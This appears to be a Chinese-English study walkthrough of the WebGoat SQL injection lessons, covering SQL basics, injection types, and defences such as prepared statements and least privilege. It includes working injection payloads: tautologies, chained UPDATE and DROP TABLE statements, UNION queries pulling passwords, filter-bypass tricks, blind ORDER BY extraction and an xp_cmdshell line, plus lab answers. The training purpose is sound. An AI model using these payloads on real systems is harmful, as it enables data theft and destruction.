webgoat-（A1）SQL Injection

SQL Injection (intro)

01

概念
This lesson describes what Structured Query Language (SQL) is and how it can be manipulated to perform tasks that were not the original intent of the developer.
课程目标是描述什么是SQL以及SQL如何执行那些非开发者本意的任务。

目标
The user will have a basic understanding of how SQL works and what it is used for 用户将会理解SQL如何工作，理解什么是SQL注入，以及SQL注入如何工作，并掌握DML，DDL，DCL，字符型SQL注入，数字型SQL注入，SQL注入如何影响CIA原则

02 What is SQL?

There are three main categories of SQL commands:

Data Manipulation Language (DML)

Data Definition Language (DDL)

Data Control Language (DCL)

Each of these command types can be used by attackers to compromise the confidentiality, integrity, and/or availability of a system. Proceed with the lesson to learn more about the SQL command types and how they relate to protections goals.

If you are still struggling with SQL and need more information or practice, you can visit http://www.sqlcourse.com/ for free and interactive online training.

作业要求获取Bob用户的部门，并提示你拥有全部管理员权限，可以在没有认证下访问所有数据
直接输入SQL语句 select department from Employees where first_name=‘Bob’

03 DML

Data Manipulation Language (DML)
As implied by the name, data manipulation language deals with the manipulation of data. Many of the most common SQL statements, including SELECT, INSERT, UPDATE, and DELETE, may be categorized as DML statements. DML statements may be used for requesting records (SELECT), adding records (INSERT), deleting records (DELETE), and modifying existing records (UPDATE).
数据操作语言 （DML）DML 语句可用于请求记录 （SELECT）、添加记录 （INSERT）、删除记录 （DELETE） 和修改现有记录 （UPDATE）。
If an attacker succeeds in “injecting” DML statements into a SQL database, he can violate the confidentiality (using SELECT statements), integrity (using UPDATE statements), and availability (using DELETE or UPDATE statements) of a system.
如果攻击者成功地将 DML 语句“注入”到 SQL 数据库中，则可能会破坏系统的机密性（使用 SELECT 语句）、完整性（使用 UPDATE 语句）和可用性（使用 DELETE 或 UPDATE 语句）
DML commands are used for storing, retrieving, modifying, and deleting data.
DML用来存储，修改或者删除数据。
SELECT - retrieve data from a database

INSERT - insert data into a database

UPDATE - updates existing data within a database

DELETE - delete records from a database

Example:

Retrieve data:

SELECT phone
FROM employees
WHERE userid = 96134;

This statement retrieves the phone number of the employee who has the userid 96134.

题目要求修改Tobi的部门为sales
输入查询语句：UPDATE employees SET department =‘Sales’ WHERE first_name=‘Tobi’

04 Data Definition Language (DDL) 数据定义语言

Data definition language includes commands for defining data structures. DDL commands are commonly used to define a database’s schema. The schema refers to the overall structure or organization of the database and. in SQL databases, includes objects such as tables, indexes, views, relationships, triggers, and more.
数据定义语言 （DDL）DDL 命令通常用于定义数据库的架构。架构是指数据库的整体结构或组织，在 SQL 数据库中，包括表、索引、视图、关系、触发器等对象。
如果攻击者成功地将 DDL 类型的 SQL 命令“注入”到数据库中，他可能会破坏系统的完整性（使用 ALTER 和 DROP 语句）和可用性（使用 DROP 语句）。
If an attacker successfully “injects” DDL type SQL commands into a database, he can violate the integrity (using ALTER and DROP statements) and availability (using DROP statements) of a system.

DDL commands are used for creating, modifying, and dropping the structure of database objects.
DML语言用来创建，修改，删除数据库对象的结构

CREATE - create database objects such as tables and views

ALTER - alters the structure of the existing database

DROP - delete objects from the database

Example:

CREATE TABLE employees(
    userid varchar(6) not null primary key,
    first_name varchar(20),
    last_name varchar(20),
    department varchar(20),
    salary varchar(10),
    auth_tan varchar(6)
);

This statement creates the employees example table given on page 2.
题目要求修改表结构添加一列phone

数据语句：ALTER TABLE Employees
ADD phone varchar(20)

05

Data Control Language (DCL)
Data control language is used to implement access control logic in a database. DCL can be used to revoke and grant user privileges on database objects such as tables, views, and functions.

If an attacker successfully “injects” DCL type SQL commands into a database, he can violate the confidentiality (using GRANT commands) and availability (using REVOKE commands) of a system. For example, the attacker could grant himself admin privileges on the database or revoke the privileges of the true administrator.
数据控制语言 （DCL）DCL 可用于撤消和授予用户对数据库对象（如表、视图和函数）的权限。如果攻击者成功地将 DCL 类型的 SQL 命令“注入”到数据库中，他可能会破坏系统的机密性（使用 GRANT 命令）和可用性（使用 REVOKE 命令）。例如，攻击者可以授予自己对数据库的管理员权限或撤消真正管理员的权限。
DCL命令用于实现对数据库对象的访问控制。
DCL commands are used to implement access control on database objects.

GRANT - give a user access privileges on database objects

REVOKE - withdraw user privileges that were previously given using GRANT

GRANT - 授予用户对数据库对象的访问权限
REVOKE - 撤销以前使用 GRANT 授予的用户权限
GRANT语句用于授权用户或角色执行特定的数据库操作或访问特定的表。

下面是一个示例，演示如何使用GRANT语句将表的SELECT权限授予用户"username"：
GRANT SELECT ON table_name TO username;
在上面的语句中，将"table_name"替换为您要授予权限的表的实际名称，并将"username"替换为您要授予权限的用户的实际名称。
题目要求给表添加权限

06 SQL注入

SQL注入（也称为SQLi）是最常见的网络黑客技术之一。SQL 注入攻击包括通过从客户端到应用程序的 SQL 查询输入插入或“注入”恶意代码。如果处理不当，SQL注入会严重影响数据的完整性和安全性。

示例

For example, consider a web application that allows users to retrieve user information simply by inputting a username into a form field. The input from the user is sent to the server and gets inserted into a SQL query which then is processed by a SQL interpreter.

The SQL query to retrieve the user information from the database follows:

"SELECT * FROM users WHERE name = '" + userName + "'";

The variable userName holds the input from the client and “injects” it into the query.
If the input were Smith the query would then become

"SELECT * FROM users WHERE name = 'Smith'";

and would retrieve all data for the user with the name Smith.

If an attacker inputs data containing characters or strings that have a “special” meaning to the SQL interpreter (such as ;, --, or '), and the data is not correctly sanitized or validated, the attacker can modify the intended behavior of the SQL query in order to perform other (malicious) actions on the database.
如果攻击者输入的字符包含的特殊字符，会被SQL解析，如; – or ’ 数据没有经过净化或者验证，攻击者就可能执行该SQL语句本不该执行的任务。

Here is an input field. Try typing some SQL in here to better understand how the query changes.

示例

SQL注入可以用于读取单个用户的数据。以下是黑客可能输入表单字段（或接受用户输入的任何位置）以试图利用 SQL 注入漏洞的几个数据示例：

Smith' OR '1' = '1

结果，其中将返回 Users 表中的所有条目SELECT * FROM users WHERE name = ‘Smith’ OR TRUE;

Smith' OR 1 = 1; --

结果，与第一个示例一样，也将返回 users 表中的所有条目SELECT * FROM users WHERE name = ‘Smith’ OR TRUE;–';

Smith'; DROP TABLE users; TRUNCATE audit_log; --

链接多个 SQL 命令，以便 DROP users 表和删除 audit_log 表中的所有条目

07 SQL注入影响

Consequences of SQL injection

A successful SQL injection exploit can:

Read and modify sensitive data from the database、Execute administrative operations on the database、Shutdown auditing or the DBMS、Truncate tables and logs、Add users

Recover the content of a given file present on the DBMS file system、Issue commands to the operating system

SQL injection attacks allow attackers to

Spoof identity、Tamper with existing data、Cause repudiation issues such as voiding transactions or changing balances、Allow the complete disclosure of all data on the system、Destroy the data or make it otherwise unavailable、Become administrator of the database server
成功的 SQL 注入漏洞可以：
从数据库中读取和修改敏感数据、对数据库执行管理操作、关闭审核或 DBMS、截断表和日志、添加用户、恢复 DBMS 文件系统上存在的给定文件的内容、向操作系统发出命令
SQL 注入攻击允许攻击者
欺骗身份、篡改现有数据、导致否认问题，例如取消交易或更改余额、允许完全披露系统上的所有数据、销毁数据或使其不可用、成为数据库服务器的管理员

08 Severity of SQL injection

The severity of SQL injection attacks is limited by

Attacker’s skill and imagination、Defense in depth countermeasures、Input validation、Least privilege、Database technology
SQL注入攻击的严重程度取决于攻击者的技术、输入验证、最小权限、数据库技术、对抗措施的深度。

Not all databases support command chaining 并非所有数据库都支持命令链

Microsoft Access、MySQL Connector/J and C、Oracle

SQL injection is more common in PHP, Classic ASP, Cold Fusion and older languages

不提供参数化查询支持的语言

参数化查询已添加到新版本中

Web 技术的早期采用者（即旧代码）

并非所有数据库都是平等的 (SQL Server)

Command shell: master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Registry commands: xp_regread, xp_regdeletekey, …

09 字符串 SQL 注入

Try It! String SQL injection
The query in the code builds a dynamic query as seen in the previous example. The query is built by concatenating strings making it susceptible to String SQL injection:

“SELECT * FROM user_data WHERE first_name = ‘John’ AND last_name = '” + lastName + “'”;
Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

题目要求选择输入，获取到所有用户信息。 应该选择 Smith ’ ‘1’='1 需要闭合单引号，且跟上一个字符串注入

10 Numeric SQL injection 数字型注入

The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection:

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

题目要求找到哪个域有SQL注入漏洞，且成功获取所有用户数据。

因为这里的字段是数值，所以是一个数字型注入，在logincount输入 1 or 1=1 --; 提示无法解析为number，所以这个输入框没有注入。
在logincount输入 1 userid输入 1 or 1=1 --; 得到结果。

11 通过字符串 SQL 注入损害机密性

如果系统容易受到 SQL 注入攻击，则该系统的 CIA 各个方面都可能很容易受到损害在下面的三节中，您将学习如何使用SQL 字符串注入或查询链等技术来破坏 CIA 三合会的各个方面。

在本课中，我们将讨论保密性。攻击者使用 SQL 注入很容易破坏机密性；例如，成功的 SQL 注入可以让攻击者从数据库中读取信用卡号码等敏感数据。

什么是字符串 SQL 注入？
如果应用程序只是通过将用户提供的字符串连接到查询来构建 SQL 查询，则该应用程序可能非常容易受到字符串 SQL 注入的影响。
更具体地说，如果用户提供的字符串只是在没有任何清理或准备的情况下连接到 SQL 查询，那么您可以通过简单地将引号插入输入字段来修改查询的行为。例如，您可以用引号结束字符串参数，然后输入您自己的 SQL。

轮到你了！
您是一位名叫约翰·史密斯的员工，在一家大公司工作。公司有一个内部系统，可以让所有员工看到自己所在的部门、工资等内部数据。

该系统要求员工使用唯一的身份验证 TAN来查看他们的数据。
您当前的 TAN 是3SL99A。

由于您总是渴望成为薪酬最高的员工，因此您希望利用该系统，以便查看所有同事的数据以查看他们当前的工资，而不是查看自己的内部数据。

使用下面的表格并尝试从员工表中检索所有员工数据。您无需知道任何具体名称或 TAN 即可获取所需信息。
您已经发现执行您的请求的查询如下所示：

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

题目要求注入查到所有用户信息
在Employee Name框内输入 ’ or ‘1’ = ‘1’ – 提交

12 通过查询链接损害完整性

在上一课中破坏了数据的机密性之后，这次我们将 通过使用 SQL查询链接来破坏数据的完整性。

如果存在足够严重的漏洞，则可能会使用 SQL 注入来破坏数据库中任何数据的完整性。成功的 SQL 注入可能允许攻击者更改他甚至不应该访问的信息。

什么是 SQL 查询链？
查询链正是它听起来的样子。通过查询链接，您尝试将一个或多个查询附加到实际查询的末尾。您可以使用;来完成此操作 元字符。A ; 标记 SQL 语句的结束；它允许人们在初始查询之后立即启动另一个查询，甚至不需要开始一个新行。
使用；来表示一个SQL语句结束，直接写另一个SQL语句。
轮到你了！
您刚刚发现托比和鲍勃似乎都比您赚更多的钱！当然，你不能就此罢休。
最好去改变你自己的工资，这样你就能赚到最多的钱！

请记住：您的名字是 John Smith，您当前的 TAN 是3SL99A。 题目要求修改你的工资。

在Employee name处输入 Smith’; update employees set salary = 1111111 where last_name = 'Smith ';–
点击查询，这里用到的是闭合单引号，拼接更新数据语句，并使用–来使后面的语句无效。

13 损害可用性

在前面的课程中成功妥协了机密性和完整性之后，我们现在要破坏CIA 三合会的第三个要素：可用性。

有许多不同的方法可以违反可用性。如果帐户被删除或密码被更改，实际所有者将无法再访问该帐户。攻击者还可能尝试删除部分数据库，甚至删除整个数据库，以使数据无法访问。撤销管理员或其他用户的访问权限是损害可用性的另一种方式；这将阻止这些用户访问数据库的特定部分甚至整个数据库。

轮到你了！
现在你是公司里收入最高的人了。但你看到了吗？似乎有一个access_log表，您的所有操作都已记录到其中！
最好在任何人注意到之前将其彻底删除。
题目要求删除表access_log

输入 '; drop table access_log;–

SQL Injection (advanced)

01

概念
本课程介绍 SQL 注入的更高级主题。

目标
结合SQL注入技术
SQL盲注入

02

特殊字符

/* */ are inline comments
– , # are line comments

Example: SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'

; allows query chaining

Example: SELECT * FROM users; DROP TABLE users;

',+,|| allows string concatenation
Char() strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

+char(27) 是一个尝试利用SQL注入漏洞的例子。char(27) 是ASCII中的转义字符，代表单引号 '。所以 +char(27) 会添加一个额外的单引号到字符串中

Special Statements

SQL UNION 操作符

SQL UNION 操作符合并两个或多个 SELECT 语句的结果。
请注意，UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每个 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

注释：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;
注释：UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

joins

Join 运算符用于根据相关列合并两个或多个表中的行

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

有关JOINS的更多详细信息，请访问：https://www.w3schools.com/sql/sql_join.asp

03 Try It! Pulling data from other tables

The input field below is used to get data from a user by their last name.
The table is called ‘user_data’:

CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);

Through experimentation you found that this field is susceptible to SQL injection. Now you want to use that knowledge to get the contents of another table.
The table you want to pull data from is:

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

6.a) Retrieve all data from the table
6.b) When you have figured it out…​. What is Dave’s password?

Note: There are multiple ways to solve this Assignment. One is by using a UNION, the other by appending a new SQL statement. Maybe you can find both of them.
题目要求获取到另外一个表的数据，并找到David的密码，提示可以用union或者语句拼接。
方法一语句拼接：

';select * from user_system_data where '1' = '1' --

方法二： union

随便输入一个发现user_data查询的是所有字段，所以uinon后面select字段要对应，
输入 Dave’ union select userid ,user_name,‘3’,password,‘4’,cookie,userid from user_system_data;–

或者
ji’ union select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data–
用union拼接即可，需要注意第二个语句字段数和字段类型需要和user_data表的保持一致即可。

’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data–
这种查询也可以，因为第二个语句只要password结果，所以让其他为int的用数字，char的用字符。

04 SQL盲注

在上面的SQL注入，在文本框输入后，会直接在页面显示我们输入的结果。
SQL盲注，即输入后，结果不显示。这种注入，只能询问一些问题。
SQL盲注分为content-based and time-based SQL injections.
如https://shop.example.com/?article=4 and 1=1 如果返回不存在，则说明没有SQL注入问题。
基于时间注入：article = 4; sleep(10) – 如果存在注入，则在返回结果之前，会等待10s

Blind SQL injection
Blind SQL injection is a type of SQL injection attack that asks the database true or false questions and determines the answer based on the application’s response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
SQL盲注，通过询问数据库问题，根据返回是false或者true来进行猜测攻击。

Difference
Let us first start with the difference between a normal SQL injection and a blind SQL injection. In a normal SQL injection the error messages from the database are displayed and gives enough information to find out how the query is working. Or in the case of a UNION based SQL injection the application does not reflect the information directly on the web page. So in the case where nothing is displayed you will need to start asking the database questions based on a true or false statement. That is why a blind SQL injection is much more difficult to exploit.
普通的SQL注入会将数据库错误信息显示出来，我们有信息知道语句是什么。所以如果信息回显，我们就只能问数据库问题，所以盲注SQL难以利用。

There are several different types of blind SQL injections: content-based and time-based SQL injections.

Example

In this case we are trying to ask the database a boolean question based on a unique id, for example suppose we have the following url: https://my-shop.com?article=4 On the server side this query will be translated as follows:

SELECT * FROM articles WHERE article_id = 4

When we want to exploit this we change the url into:

https://shop.example.com?article=4 AND 1=1

This will be translated to:

SELECT * FROM articles WHERE article_id = 4 and 1 = 1

If the browser will return the same page as it used to when using https://shop.example.com?article=4 you know the website is vulnerable for a blind SQL injection. If the browser responds with a page not found or something else you know a blind SQL injection might not work. You can now change the SQL query and test for example: https://shop.example.com?article=4 AND 1=2 which will not return anything because the query returns false.
如果第二个链接返回页面与第一个一样，说明有SQL盲注漏洞。如果返回404，说明没有SQL盲注。

How do we actually take advantage of this? Above we only asked the database a trivial question but you can for example also use the following url:

https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2

Most of the time you start by finding which type of database is used, based on the type of database you can find the system tables of the database you can enumerate all the tables present in the database. With this information you can start getting information from all the tables and you are able to dump the database.
Be aware that this approach might not work if the privileges of the database are setup correctly (meaning the system tables cannot be queried with the user used to connect from the web application to the database).如果数据库表权限正确配置，则这种方法无效。

Another way is called a time-based SQL injection, in this case you will ask the database to wait before returning the result. You might need to use this if you are totally blind. This means there is no difference between the response data. To achieve this kind of SQL injection you could use:
基于时间的盲注，让数据库在返回结果前等待。返回数据是没有区别的，如果返回结果延迟了，说明有时间盲注。

article = 4; sleep(10) --

05

题目要求以tom身份登录。

这个题，login页面无注入，注册页面的username有注入。使用or注入，发现无法返回结果。

看了源码，直接将username拼接到了SQL语句，所以有注入问题，但是如果查询到结果，也会返回失败。
所以or注入是无用的。百度了其他人的解法，这题还用了爆破。。。是不是SQL注入问题我就问。抄答案tom密码为 thisisasecretfortomonly

06

几个关于预处理语句的问题。
A statement has got values instead of a prepared statement
Which one of the following characters is a placeholder for variables 问号?
How can prepared statements be faster than statements? Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
How can a prepared statement prevent SQL-Injection? Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement? The database registers ‘Robert’ ); DROP TABLE Students;–'.

预处理语句 prepared statement

在SQL中，预处理语句（prepared statement）和语句（statement）都是用于执行SQL查询的方式，但它们之间有一些关键区别。

预处理语句（Prepared Statement）：
预处理语句是一种SQL语句的预编译形式，它允许在执行之前对SQL语句进行编译。编译后的预处理语句可以重复使用，而不需要每次执行时都重新编译。预处理语句通常用于执行参数化查询，即带有动态插入值的查询。这样可以提高执行效率，并减少SQL注入攻击的风险。预处理语句通常使用占位符（如问号标记）来表示动态插入的值，这些占位符在执行预处理语句时会被实际的值替换。
示例（使用问号占位符）：

sql

PREPARE my_prepared_statement FROM 'SELECT * FROM customers WHERE name = ?';  
EXECUTE my_prepared_statement USING 'John';

预处理语句，可以看到用三个占位符表示变量，保留对应变量字符串只作用于占位符处。

 PreparedStatement preparedStatement =
              connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)");
          preparedStatement.setString(1, username_reg);
          preparedStatement.setString(2, email_reg);
          preparedStatement.setString(3, password_reg);
          preparedStatement.execute();

语句（Statement）：
语句是SQL查询的基本单位，它是一条完整的SQL命令，用于执行特定的操作。语句可以是静态的，也可以是动态的，这取决于是否包含变量或参数。静态语句是固定的SQL查询，不包含任何变量或参数。动态语句包含变量或参数，需要在执行时提供实际的值。语句的执行效率相对较低，因为每次执行都需要重新编译。
示例（静态语句）：

sql

SELECT * FROM customers;

示例（动态语句）：

sql

SELECT * FROM customers WHERE name = 'John';

 String checkUserQuery =
            "select userid from sql_challenge_users where userid = '" + username_reg + "'";
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery(checkUserQuery);

sql语句，直接将用户输入拼接到SQL语句中，导致SQL注入漏洞。

总结：
预处理语句和语句的主要区别在于预处理语句是预先编译的，可以重复使用，适用于参数化查询，而语句是即时的，每次执行都需要重新编译，适用于静态查询或不含变量的动态查询。在实际应用中，为了提高性能和安全性，通常推荐使用预处理语句来执行参数化查询。

SQL Injection (mitigation) 如何防止SQL注入？

01 Immutable Queries

These are the best defense against SQL injection. They either do not have data that could get interpreted, or they treat the data as a single entity that is bound to a column without interpretation.如下方法是针对 SQL 注入的最佳防御措施。它们要么没有可以解释的数据，要么将数据视为绑定到列而不进行解释的单个实体。

Static Queries 不需要用户输入

String query = "SELECT * FROM products";
String query = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'";

Parameterized Queries 参数化查询，使用预编译的SQL语句来执行查询

String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

使用预编译的SQL语句（PreparedStatement）有几个优点：
防止SQL注入：预编译的SQL语句使用占位符（?）来代替动态插入的值，这样就可以防止恶意用户在查询中注入额外的SQL代码。
提高性能：预编译的SQL语句只需要编译一次，然后可以多次执行，这样可以提高数据库的性能。

Stored Procedures

Only if stored procedure does not generate dynamic SQL

02 Stored Procedures 存储过程

Safe Stored Procedure (Microsoft SQL Server) 安全的存储过程

CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city


EXEC ListCustomers ‘USA’

Injectable Stored Procedure (Microsoft SQL Server) 可注入的存储过程

CREATE PROCEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE
            lastname = + @LastName + '
exec sp_executesql @sql

03 Parameterized Queries - Java Snippet

public static bool isUsernameValid(string username) {
    RegEx r = new Regex("^[A-Za-z0-9]{16}$");
    return r.isMatch(username);
}

// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {
    pUserName = request.getParameter("UserName");
    if ( isUsernameValid (pUsername) ) {
        ps = conn.prepareStatement("SELECT * FROM user_table WHERE username = ? ");
        ps.setString(1, pUsername);
        rs = ps.execute();
        if ( rs.next() ) {
            // do the work of making the user record active in some way
        }
    } else {
        // handle invalid input
    }
}
catch (...) { // handle all exceptions ... }

Important
Use the prepared statement correctly; parameters should be set with ps.set…() and DO NOT use the following statement:

String insertStatement = "INSERT INTO USERS (id, name, email) VALUES (%s, %s, %s)".format("1", "webgoat", "webgoat@owasp.org");
PreparedStatement statement = conn.prepareStatement(insertStatement);
statement.executeUpdate();

(For the sake of the example, we assume that the passed values are based on user input). The example above is not the correct way to use a prepared statement, use:

PreparedStatement statement = conn.prepareStatement("INSERT INTO USERS (id, name, email) VALUES (?, ?, ?)");
statement.setString(1, "1");
statement.setString(2, "webgoat");
statement.setString(3, "webgoat@owasp.org");
statement.executeUpdate();

04 参数化查询 - Java 示例

public static String loadAccount() {
  // Parser returns only valid string data
  String accountID = getParser().getStringParameter(ACCT_ID, "");
  String data = null;
  String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
  try (Connection connection = dataSource.getConnection()) {
       PreparedStatement statement = connection.prepareStatement(query)) {
     statement.setString(1, accountID);
     ResultSet results = statement.executeQuery();
     if (results != null && results.first()) {
       results.last(); // Only one record should be returned for this query
       if (results.getRow() <= 2) {
         data = processAccount(results);
       } else {
         // Handle the error - Database integrity issue
       }
     } else {
       // Handle the error - no records found }
     }
  } catch (SQLException sqle) {
    // Log and handle the SQL Exception }
  }
  return data;
}

0x05 Try it! Writing safe code

You can see some code down below, but the code is incomplete. Complete the code, so that it’s no longer vulnerable to a SQL injection! Use the classes and methods you have learned before.

The code has to retrieve the status of the user based on the name and the mail address of the user. Both the name and the mail are in the string format.

0x06 Try it! Writing safe code

Now it is time to write your own code! Your task is to use JDBC to connect to a database and request data from it.

Requirements:

connect to a database 连接数据库

perform a query on the database which is immune to SQL injection attacks 执行静态查询防止SQL注入攻击

your query needs to contain at least one string parameter 需要包含至少一个string参数

Some tips before you start:
For connecting to the database, you can simply assume the constants DBURL, DBUSER and DBPW as given.
The content of your query does not matter, as long as the SQL is valid and meets the requirements.
All the code you write gets inserted into the main method of a Java class with the name “TestClass” that already imports java.sql.* for you.

Not creative enough to think of your own query? How about you try to retrieve the data of a user with a specific name from a fictional database table called users.

For example; the following code would compile without any error (but of course does not meet the requirements to complete this lesson).

try {
    Connection conn = null;
    System.out.println(conn);   //should output 'null'
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

Use your knowledge and write some valid code from scratch in the editor window down below! (if you cannot type there it might help to adjust the size of your browser window once, then it should work):
编写一段代码实现查询name并防止SQL注入

try {
    Connection conn = null;
    conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);//连接数据库
    String query="select * from users where name=?";//查询语句
    PreparedStatement s=conn.prepareStatement(query);//PreparedStatement对象是预编译的SQL语句，可以传递参数，并执行查询。
    s.setString(1,"Bob");//将查询的参数值设置为"Bob"。参数的索引从1开始，对应于查询字符串中的参数占位符。
    ResultSet results=s.executeQuery();//执行查询，并将查询结果存储在ResultSet对象results中
    
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

07 Parameterized Queries - .NET

public static bool isUsernameValid(string username) {
	RegEx r = new Regex("^[A-Za-z0-9]{16}$");
	Return r.isMatch(username);
}

// SqlConnection conn is set and opened elsewhere for brevity.
try {
	string selectString = "SELECT * FROM user_table WHERE username = @userID";
	SqlCommand cmd = new SqlCommand( selectString, conn );
	if ( isUsernameValid( uid ) ) {
		cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
		SqlDataReader myReader = cmd.ExecuteReader();
		if ( myReader ) {
			// make the user record active in some way.
			myReader.Close();
		}
	} else { // handle invalid input }
}
catch (Exception e) { // Handle all exceptions... }

08 Input Validation Required? 是否需要输入验证

Since my queries are no longer injectable do I still need to validate my input?

YES!

Prevents other types of attacks from being stored in the database

Stored XSS、Information leakage、Logic errors - business rule validation、SQL injection
often the database is considered trusted

09 Input validation alone is not enough!! 仅有输入验证不够

You need to do both, use parametrized queries and validate the input received from the user. On StackOverflow you will see a lot of answers stating that input validation is enough. However it only takes you so far before you know the validation is broken, and you have an SQL injection in your application.
为了防止SQL注入，需要同时使用参数化查询和输入验证。
A nice read why it is not enough can be found https://twitter.com/marcan42/status/1238004834806067200?s=21

Let’s repeat one of the previous assignments, the developer fixed the possible SQL injection with filtering, can you spot the weakness in this approach?
';select * from user_system_data–

使用//代替空格 ';select //*//from//user_system_data-- 通过

使用 1’ union select 1,user_name,‘3’,‘4’,‘5’,password,6 from user_system_data-- 提示不让输入空格
参考https://blog.csdn.net/weixin_51566481/article/details/126558958
#提示说空格不能使用，那我们使用+或者//代替空格
答案：1’//union//select//1,user_name,‘3’,‘4’,‘5’,password,6//from//user_system_data–

这一题是为了证明，即使过滤了空格，但如果没做参数化查询，也能够绕过。

10 Input validation alone is not enough!! 仅有输入验证不够

So the last attempt to validate if the query did not contain any spaces failed, the development team went further into the direction of only performing input validation, can you find out where it went wrong this time?

';select //*//from//user_system_data-- 提示不允许空格和SQL关键字。

考虑采用双写绕过。
';SESELEctLECT//*//FrFromom//user_system_data–

源代码

userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", "");

可以看到，先将输入都大写，然后将FROM和SELECT替换为空字符。考虑采用双写绕过

这题也是为了证明，只有输入过滤SQL关键字是不行的，可以绕过。

11 Order by clause

预编译SQL语句不总是能预防SQL注入
Let us take a look at the following statement:

"SELECT * FROM users ORDER BY " + sortColumName + ";"

If we look at the specification of the SQL grammar the definition is as follows:

SELECT ...
FROM tableList
[WHERE Expression]
[ORDER BY orderExpression [, ...]]

orderExpression:
{ columnNr | columnAlias | selectExpression }
    [ASC | DESC]

selectExpression:
{ Expression | COUNT(*) | {
    COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
    VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]

Based on HSQLDB

This means an orderExpression can be a selectExpression which can be a function as well, so for example with a case statement we might be able to ask the database some questions, like:

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)

So we can substitute any kind of boolean operation in the when(…​.) part. The statement will just work because it is a valid query whether you use a prepared statement or not. An order by clause can by definition contain an expression.

Mitigation

If you need to provide a sorting column in your web application you should implement a whitelist to validate the value of the order by statement. It should always be limited to something like ‘first name’ or ‘last name’.
即使使用预编译数据，也可能有SQL注入。
SQL中的order语句

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname) END;

在order by子句，可以询问数据库一些问题，如果结果为true，则按照第一个字段排序，如果结果为false，则按照第二个字段排序。
order注入无论是否有预编译语句，都可执行。

12

题目要求使用order by查找webgoat-prd的ip，需要得到前三位。

本题采用order注入，题目要求获取 webgoat-prd hostname的前三位。
加粗样式思路：询问数据库每个位置是数字几，根据排序结果判断询问结果。

https://blog.csdn.net/weixin_51566481/article/details/126558958
https://blog.csdn.net/elephantxiang/article/details/114272407
1、点击ip和hostname可以进行排序，抓包。
2、参数使用：
(CASE WHEN true THEN ip ELSE hostname END) 返回了结果，说明存在order注入。
3、不带参数，从报错可以看到数据表是servers

4、构造语句
(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),1,1)=‘1’ THEN ip ELSE hostname END)

(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),2,1)=‘x’ THEN ip ELSE hostname END)
(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),3,1)=‘x’ THEN ip ELSE hostname END)
sub语句用来判断webgoat-prd的第x个字符是否为x，如果该语句结果为true，则请求结果会按照ip排序，如果为false，则请求结果按照hostname排序。
分别对1,2,3 三个位置尝试0-9，即进行爆破，查看请求结果排序是按照ip还是host，得到结果为104。

总结：有排序的地方也可能有SQL注入。

13 最小特权

• 使用最小权限集进行连接
  应用程序应使用不同的凭据连接到数据库，以实现每个信任区别
• 应用程序很少需要对表或数据库的删除权限
• 数据库帐户应限制架构访问，即不允许账户修改数据的schema，如为表添加修改字段。
• 定义用于读取和读/写访问的数据库帐户
• 基于访问权限的多个连接池
  对身份验证查询使用只读访问权限、对数据修改查询使用读/写访问权限、使用 execute 访问存储过程调用

思维导图